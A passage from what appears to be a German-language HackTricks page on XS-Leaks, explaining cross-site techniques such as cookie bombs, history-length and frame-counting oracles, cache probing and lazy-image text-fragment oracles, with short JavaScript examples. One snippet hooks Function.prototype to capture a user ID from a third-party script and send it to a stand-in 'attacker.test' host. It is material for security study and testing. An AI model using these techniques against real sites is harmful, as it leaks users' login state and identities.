Wenn du es schaffst, Cookies für einen Benutzer zu setzen, kannst du diesen Angriff auch durchführen, indem du genug Cookies setzt (cookie bomb), sodass durch die größere Antwortgröße der korrekten Response ein Fehler ausgelöst wird. In diesem Fall denke daran, dass, wenn du die Anfrage von derselben Seite aus triggerst, ein <script> automatisch die Cookies mitsendet (du kannst also auf Fehler prüfen).
Ein Beispiel für cookie bomb + XS-Search findet sich in der Intended solution dieses Writeups: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

Für diese Art von Angriff ist in der Regel SameSite=None oder derselbe Kontext erforderlich.

URL Max Length - Client Side

Laut Chromium-Dokumentation liegt die maximale URL-Länge von Chrome bei 2MB.

Im Allgemeinen hat die Webplattform keine Limits für die Länge von URLs (obwohl 2^31 ein verbreitetes Limit ist). Chrome begrenzt URLs aus praktischen Gründen und um Denial-of-Service-Probleme in der Inter-Process-Kommunikation zu vermeiden auf maximal 2MB.

Wenn also die Redirect-URL in einem der Fälle größer ist, kann man sie so konstruieren, dass sie größer als 2MB ist, um das Längenlimit zu erreichen. In diesem Fall zeigt Chrome eine about:blank#blocked-Seite an.

Der auffällige Unterschied ist: wenn die Weiterleitung abgeschlossen wurde, wirft window.origin einen Fehler, weil eine cross-origin Seite diese Info nicht abrufen darf. Wenn jedoch das Limit erreicht wurde und die geladene Seite about:blank#blocked ist, bleibt die origin des Fensters die des Parents, was eine zugängliche Information ist.

Alle zusätzlichen Daten, die benötigt werden, um die 2MB zu erreichen, können über einen Hash in der initialen URL hinzugefügt werden, sodass sie im Redirect verwendet werden.

URL Max Length - Client Side

Max Redirects

Wenn die maximale Anzahl von Redirects, die ein Browser folgen darf, 20 beträgt, könnte ein Angreifer versuchen, seine Seite mit 19 Redirects zu laden und schließlich den Benutzer zur getesteten Seite zu schicken. Wenn dann ein Fehler ausgelöst wird, hat die Seite versucht, den Benutzer weiterzuleiten.

History Length

Die History API erlaubt es JavaScript, die Browser-History zu manipulieren, welche die vom Benutzer besuchten Seiten speichert. Ein Angreifer kann die length-Property als Einbindungsmethode nutzen: um JavaScript- und HTML-Navigationsvorgänge zu detektieren.
Man prüft history.length, lässt einen Nutzer zu einer Seite navigieren, ändert sie zurück zur same-origin und überprüft anschließend den neuen Wert von history.length.

History Length with same URL

  • Einbindungsmethoden: Frames, Pop-ups
  • Erkennbare Differenz: If URL is the same as the guessed one
  • Zusammenfassung: Es ist möglich zu ermitteln, ob der Ort (location) eines Frames/Pop-ups eine bestimmte URL hat, indem man die History-Länge ausnutzt.
  • Code-Beispiel: Below

Ein Angreifer könnte JavaScript verwenden, um die Location des Frames/Pop-ups auf eine geratene URL zu setzen und sofort danach auf about:blank zu wechseln. Wenn die History-Länge angestiegen ist, bedeutet das, dass die URL korrekt war und Zeit hatte, zu inkrementieren, weil die URL nicht neu geladen wird, wenn sie identisch ist. Falls sie nicht angestiegen ist, bedeutet das, dass versucht wurde, die geratene URL zu laden, aber weil unmittelbar danach about:blank geladen wurde, ist die History-Länge beim Laden der geratenen URL nicht angestiegen.

async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}

win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))

win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))

Frame Counting

Das Zählen der Anzahl von Frames in einer per iframe oder window.open geöffneten Seite kann dabei helfen, den Status des Benutzers auf dieser Seite zu bestimmen.
Wenn eine Seite immer dieselbe Anzahl an Frames hat, kann das kontinuierliche Überwachen der Frame-Anzahl ein Muster aufdecken, das Informationen leaken könnte.

Ein Beispiel: In Chrome kann ein PDF mittels frame counting erkannt werden, weil intern ein embed verwendet wird. Es gibt Open URL Parameters, die gewisse Inhalte steuern (z. B. zoom, view, page, toolbar), wodurch diese Technik interessant sein kann.

HTMLElements

Information leakage durch HTML-Elemente ist ein Problem in der Web-Sicherheit, insbesondere wenn Medien dynamisch basierend auf Benutzerinformationen erzeugt werden oder Watermarks hinzugefügt werden, die die Mediengröße verändern. Ein Angreifer kann dadurch durch Auswertung bestimmter HTML-Elemente zwischen verschiedenen Zuständen unterscheiden.

Information Exposed by HTML Elements

  • HTMLMediaElement: Dieses Element gibt die duration und buffered Zeiten des Mediums preis, zugänglich über seine API. Read more about HTMLMediaElement
  • HTMLVideoElement: Es legt videoHeight und videoWidth offen. In einigen Browsern sind zusätzliche Eigenschaften wie webkitVideoDecodedByteCount, webkitAudioDecodedByteCount und webkitDecodedFrameCount verfügbar, die detailliertere Informationen über den Media-Content liefern. Read more about HTMLVideoElement
  • getVideoPlaybackQuality(): Diese Funktion liefert Details zur Video-Wiedergabequalität, einschließlich totalVideoFrames, was auf die Menge verarbeiteter Videodaten hinweisen kann. Read more about getVideoPlaybackQuality()
  • HTMLImageElement: Dieses Element gibt die height und width eines Bildes preis. Ist ein Bild ungültig, geben diese Eigenschaften 0 zurück, und image.decode() wird abgelehnt, was auf ein Ladeproblem hinweist. Read more about HTMLImageElement

CSS Property

Webanwendungen ändern möglicherweise die website styling depending on the status of the use. Cross-origin CSS-Dateien können auf der Angreiferseite mit dem HTML link-Element eingebunden werden, und die Regeln werden auf der Angreiferseite angewendet. Wenn eine Seite diese Regeln dynamisch ändert, kann ein Angreifer die Unterschiede erkennen.
Als Leak-Technik kann der Angreifer window.getComputedStyle verwenden, um CSS-Eigenschaften eines bestimmten HTML-Elements auszulesen. Ist das betroffene Element und der Eigenschaftsname bekannt, kann ein Angreifer beliebige CSS-Eigenschaften lesen.

CSS History

Tip

According to this, this is not working in headless Chrome.

Der CSS-Selector :visited wird verwendet, um URLs anders zu stylen, wenn sie vom Benutzer bereits besucht wurden. Früher konnte getComputedStyle() genutzt werden, um diese Stilunterschiede zu erkennen. Moderne Browser verhindern jedoch, dass diese Methode den Link-Zustand offenlegt: sie geben immer die berechnete Style zurück, als wäre der Link besucht, und beschränken die mit :visited anwendbaren Styles.

Trotz dieser Beschränkungen lässt sich der Besuchszustand indirekt ermitteln. Eine Technik besteht darin, den Benutzer dazu zu bringen, mit einem von CSS betroffenen Bereich zu interagieren — z. B. durch Nutzung von mix-blend-mode. Dieses Property kann Elemente mit dem Hintergrund mischen und so den Besuchszustand bei Benutzerinteraktion sichtbar machen.

Erkennung ist auch ohne Benutzerinteraktion möglich, indem man auf Render-Zeiten von Links abzielt. Browser rendern besuchte und unbesuchte Links unterschiedlich, was messbare Zeitunterschiede erzeugen kann. Ein PoC in einem Chromium-Bug zeigt, wie mehrere Links verwendet werden können, um den Timing-Unterschied zu verstärken und so den Besuchszustand per Timing-Analyse zu erkennen.

Weitere Informationen:

ContentDocument X-Frame Leak

In Chrome wird beim Einbetten einer Seite, die den Header X-Frame-Options auf “deny” oder “same-origin” gesetzt hat, eine Fehlerseite angezeigt. Chrome liefert in diesem Fall für das contentDocument-Property des eingebetteten Objekts ein leeres Dokumentobjekt (anstatt null), im Gegensatz zu iframes oder anderen Browsern. Angreifer konnten dies nutzen, indem sie das leere Dokument detektierten, was Informationen über den Zustand des Benutzers offenbaren kann — insbesondere wenn Entwickler Header inkonsistent setzen und Fehlerseiten übersehen. Konsistente Anwendung von Sicherheitsheadern ist wichtig, um solche leaks zu vermeiden.

Download Detection

Der Header Content-Disposition, speziell Content-Disposition: attachment, veranlasst den Browser, Inhalte herunterzuladen statt sie inline anzuzeigen. Dieses Verhalten kann ausgenutzt werden, um zu erkennen, ob ein Benutzer Zugriff auf eine Seite hat, die einen Dateidownload auslöst. In Chromium-basierten Browsern gibt es mehrere Techniken, dieses Download-Verhalten zu erkennen:

  1. Download-Bar-Überwachung:
  • Beim Herunterladen einer Datei erscheint in Chromium-basierten Browsern eine Download-Bar am unteren Rand.
  • Durch Überwachen von Änderungen an der Fensterhöhe können Angreifer das Auftauchen der Download-Bar erkennen und daraus schließen, dass ein Download gestartet wurde.
  1. Download-Navigation mit Iframes:
  • Löst eine Seite einen Dateidownload über Content-Disposition: attachment aus, verursacht das keine Navigation.
  • Lädt man den Inhalt in ein iframe und überwacht Navigationsereignisse, lässt sich feststellen, ob ein Download statt Anzeige stattfand (keine Navigation).
  1. Download-Navigation ohne Iframes:
  • Ähnlich der iframe-Technik, jedoch mit window.open.
  • Durch Überwachen der Navigation im neu geöffneten Fenster kann man erkennen, ob ein Download ausgelöst wurde (keine Navigation) oder der Inhalt inline angezeigt wird (Navigation).

Wenn nur angemeldete Benutzer solche Downloads auslösen können, erlauben diese Techniken ein indirektes Ermitteln des Authentifizierungsstatus anhand der Browserreaktion auf die Download-Anfrage.

Partitioned HTTP Cache Bypass

Warning

This is why this technique is interesting: Chrome now has cache partitioning, and the cache key of the newly opened page is: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), but if I open an ngrok page and use fetch in it, the cache key will be: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), the cache key is different, so the cache cannot be shared. You can find more detail here: Gaining security and privacy by partitioning the cache
(Comment from here)

Wenn eine Site example.com eine Ressource von *.example.com/resource einbindet, erhält diese Ressource denselben Cache-Key wie bei einer direkten Top-Level-Navigation. Der Cache-Key besteht aus dem top-level eTLD+1 und dem frame eTLD+1.

Da der Zugriff auf den Cache schneller ist als das Nachladen einer Ressource, kann man versuchen, die Location einer Seite zu ändern und die Navigation z. B. nach 20 ms abzubrechen. Wird die Origin nach dem Abbruch verändert, bedeutet das, dass die Ressource im Cache war.
Alternativ kann man auch einfach ein fetch zur potenziell gecachten Seite senden und die benötigte Zeit messen.

Manual Redirect

Fetch with AbortController

Verwende fetch und setTimeout mit einem AbortController, um sowohl zu erkennen, ob eine Ressource gecached ist, als auch um eine spezifische Ressource aus dem Browser-Cache zu evicten. Dieser Vorgang kann zudem ohne das Cachen neuer Inhalte stattfinden.

Script Pollution

Prototype hooks to exfiltrate module-scoped data

Pre-define Function.prototype.default and Function.prototype.__esModule = 1 before loading a module so its default export calls your hook (e.g., receives {userID: ...}), letting you read module-scoped values without timing or brute force.

<script>
Function.prototype.default=(e)=>{if(typeof e.userID==="string")fetch("//attacker.test/?id="+e.userID)}
Function.prototype.__esModule=1
</script>
<script src="https://www.facebook.com/signals/iwl.js?pixel_id=PIXEL_ID"></script>

Die Anfrage selbst wird ebenfalls zu einem login-state oracle, wenn das Skript nur für authentifizierte Nutzer geladen wird.

Service Workers

In dem beschriebenen Szenario initiiert der Angreifer das Registrieren eines service worker auf einer seiner Domains, beispielsweise “attacker.com”. Anschließend öffnet der Angreifer im Hauptdokument ein neues Fenster auf der Ziel-Website und weist den service worker an, einen Timer zu starten. Während das neue Fenster zu laden beginnt, navigiert der Angreifer die zuvor erhaltene Referenz zu einer Seite, die vom service worker verwaltet wird.

Bei Eintreffen der in dem vorherigen Schritt initiierten Anfrage antwortet der service worker mit dem Statuscode 204 (No Content) und bricht damit effektiv die Navigation ab. Zu diesem Zeitpunkt nimmt der service worker eine Messung des zuvor gestarteten Timers vor. Diese Messung wird durch die Laufzeit von JavaScript beeinflusst, die Verzögerungen im Navigationsprozess verursacht.

Warning

Bei einem Execution-Timing ist es möglich, Netzwerkfaktoren zu eliminieren, um präzisere Messungen zu erhalten. Zum Beispiel durch vorheriges Laden der Ressourcen, die die Seite verwendet.

Fetch Timing

Cross-Window Timing

Subdomain probing for identity/login state

  • Inclusion Methods: HTML Elements (script), Frames
  • Detectable Difference: DNS/HTTP load success, CORB/header changes
  • Summary: Wenn Identifier in Subdomain-Labels leben (z. B. www.<username>.sb.facebook.com), fordere Ressourcen auf Kandidaten-Hosts an und interpretiere onload vs onerror/Timeouts als Boolean. Kombiniere das mit login-only scripts (z. B. /signals/iwl.js), um Benutzernamen per brute-force zu erraten und die Authentifizierung zu zugehörigen Properties zu verifizieren.
  • Note: Signals können durch verschiedene Inclusion-Typen (script, iframe, object) verstärkt werden, um X-Frame-Options, CORB oder Redirect-Unterschiede pro Kandidat zu erkennen.

With HTML or Re Injection

Hier finden Sie Techniken, um Informationen aus cross-origin HTML zu exfiltrieren, indem HTML-Inhalt injiziert wird. Diese Techniken sind interessant für Fälle, in denen Sie aus irgendeinem Grund HTML injizieren können, aber kein JS-Code injiziert werden kann.

Dangling Markup

Dangling Markup - HTML scriptless injection

Image Lazy Loading

Wenn Sie content exfiltrieren müssen und HTML unmittelbar vor dem Secret hinzufügen können, sollten Sie die common dangling markup techniques prüfen.
Falls Sie aus welchem Grund auch immer MUST zeichenweise vorgehen müssen (z. B. weil die Kommunikation über einen Cache-Hit erfolgt), können Sie diesen Trick verwenden.

Images in HTML haben ein “loading”-Attribut, dessen Wert “lazy” sein kann. In diesem Fall wird das Bild geladen, wenn es angezeigt wird, und nicht während des Seitenladens:

<img src=/something loading=lazy >

Daher kannst du viele Junk-Zeichen hinzufügen (zum Beispiel Tausende von “W”) um die Webseite vor dem Secret zu füllen oder etwas wie <br><canvas height="1850px"></canvas><br>.
Dann, wenn zum Beispiel unsere injection vor dem flag erscheint, würde das image geladen werden, erscheint sie jedoch nach dem flag, verhindern das flag + der Junk, dass es geladen wird (du musst mit der Menge an Junk experimentieren). This is what happened in this writeup.

Another option would be to use the scroll-to-text-fragment if allowed:

Scroll-to-text-fragment

Allerdings lässt du den bot die Seite mit etwas wie

#:~:text=SECR

Die Webseite könnte in etwa so aussehen: https://victim.com/post.html#:~:text=SECR

Dabei enthält post.html die vom Angreifer eingefügten Junk-Zeichen und ein lazy load image, und anschließend wird das Secret des Bots hinzugefügt.

Dieser Text sorgt dafür, dass der Bot jeden Text auf der Seite anspricht, der SECR enthält. Da dieser Text das Secret ist und sich direkt unter dem Bild befindet, wird das Bild nur geladen, wenn das erratene Secret korrekt ist. Damit hast du dein oracle, um das Secret char by char zu exfiltrieren.

Ein Beispielcode, um das auszunutzen: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Image Lazy Loading Time Based

Wenn es nicht möglich ist, ein externes Bild zu laden, das dem Angreifer anzeigen könnte, dass das Bild geladen wurde, wäre eine andere Option, den Buchstaben mehrmals zu erraten und das zu messen. Wenn das Bild geladen wird, dauern alle Requests länger als wenn das Bild nicht geladen wird. Genau das wurde in der solution of this writeup hier zusammengefasst:

Event Loop Blocking + Lazy images

ReDoS

Regular expression Denial of Service - ReDoS

CSS ReDoS

Wenn jQuery(location.hash) verwendet wird, ist es möglich per Timing iob HTML-Inhalt vorhanden ist, das liegt daran, weil wenn der Selektor main[id='site-main'] nicht matcht, muss er den Rest der selectors nicht prüfen:

$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)

CSS Injection

CSS Injection

Gegenmaßnahmen

Es gibt Gegenmaßnahmen, die in https://xsinator.com/paper.pdf empfohlen werden, sowie in jedem Abschnitt des Wikis https://xsleaks.dev/. Schau dort nach, um mehr Informationen darüber zu erhalten, wie man sich gegen diese Techniken schützt.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks